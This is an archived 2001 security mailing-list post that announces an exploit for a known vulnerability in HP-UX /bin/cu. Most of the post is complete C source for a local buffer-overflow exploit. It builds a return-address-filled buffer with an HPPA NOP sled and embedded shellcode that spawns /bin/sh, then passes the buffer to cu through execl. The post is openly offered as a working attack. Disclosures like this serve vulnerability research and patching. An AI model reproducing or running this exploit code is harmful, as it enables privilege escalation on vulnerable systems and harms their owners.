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HP/UX /bin/cu vulnerability
From: "[ zorgon ]" <zorgon () ANTIONLINE ORG>
Date: Thu, 18 Jan 2001 02:40:41 -0800
I have written an exploit for the HP/UX /bin/cu command. This is not a new vulnerability (http://www.securityfocus.com/bid/1886 ). Technical Description - Exploit/Concept Code: ---- /* Copyright (c) 2001 Zorgon * All Rights Reserved * The copyright notice above does not evidence any * actual or intended publication of such source code. * * HP-UX /bin/cu exploit. * Tested on HP-UX 11.00 * zorgon () antionline org (http://www.nightbird.free.fr) * */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define LEN 9778 #define HPPA_NOP 0x0b390280 #define RET 0x7f7eb010 #define OFFSET 1200 /* it works for me */ u_char hppa_shellcode[] = /* K2 <ktwo () ktwo ca> shellcode */ "\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40" "\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe" "\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe/bin/sh\xff"; int main(int argc , char **argv){ char buffer[LEN+8]; int i; long retaddr = RET; int offset = OFFSET; if(argc>1) offset = atoi(argv[1]); for (i=0;i<LEN;i+=4) *(long *)&buffer[i] = retaddr + offset; for (i=0;i<(LEN-strlen(hppa_shellcode)-50);i++) *(buffer+i) = HPPA_NOP; memcpy(buffer+i,hppa_shellcode,strlen(hppa_shellcode)); fprintf(stderr, "HP-UX 11.00 /bin/cu exploit\n"); fprintf(stderr, "Copyright (c) 2001 Zorgon\n"); fprintf(stderr, "[return address = %x] [offset = %d] [buffer size = %d]\n", retaddr + offset, offset, strlen(buffer)); execl("/bin/cu","cu","-l",buffer,0); } ---- Z. ------------------------------------------------------------ Email account furnished courtesy of AntiOnline - http://www.AntiOnline.com AntiOnline - The Internet's Information Security Super Center!
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- HP/UX /bin/cu vulnerability [ zorgon ] (Jan 18)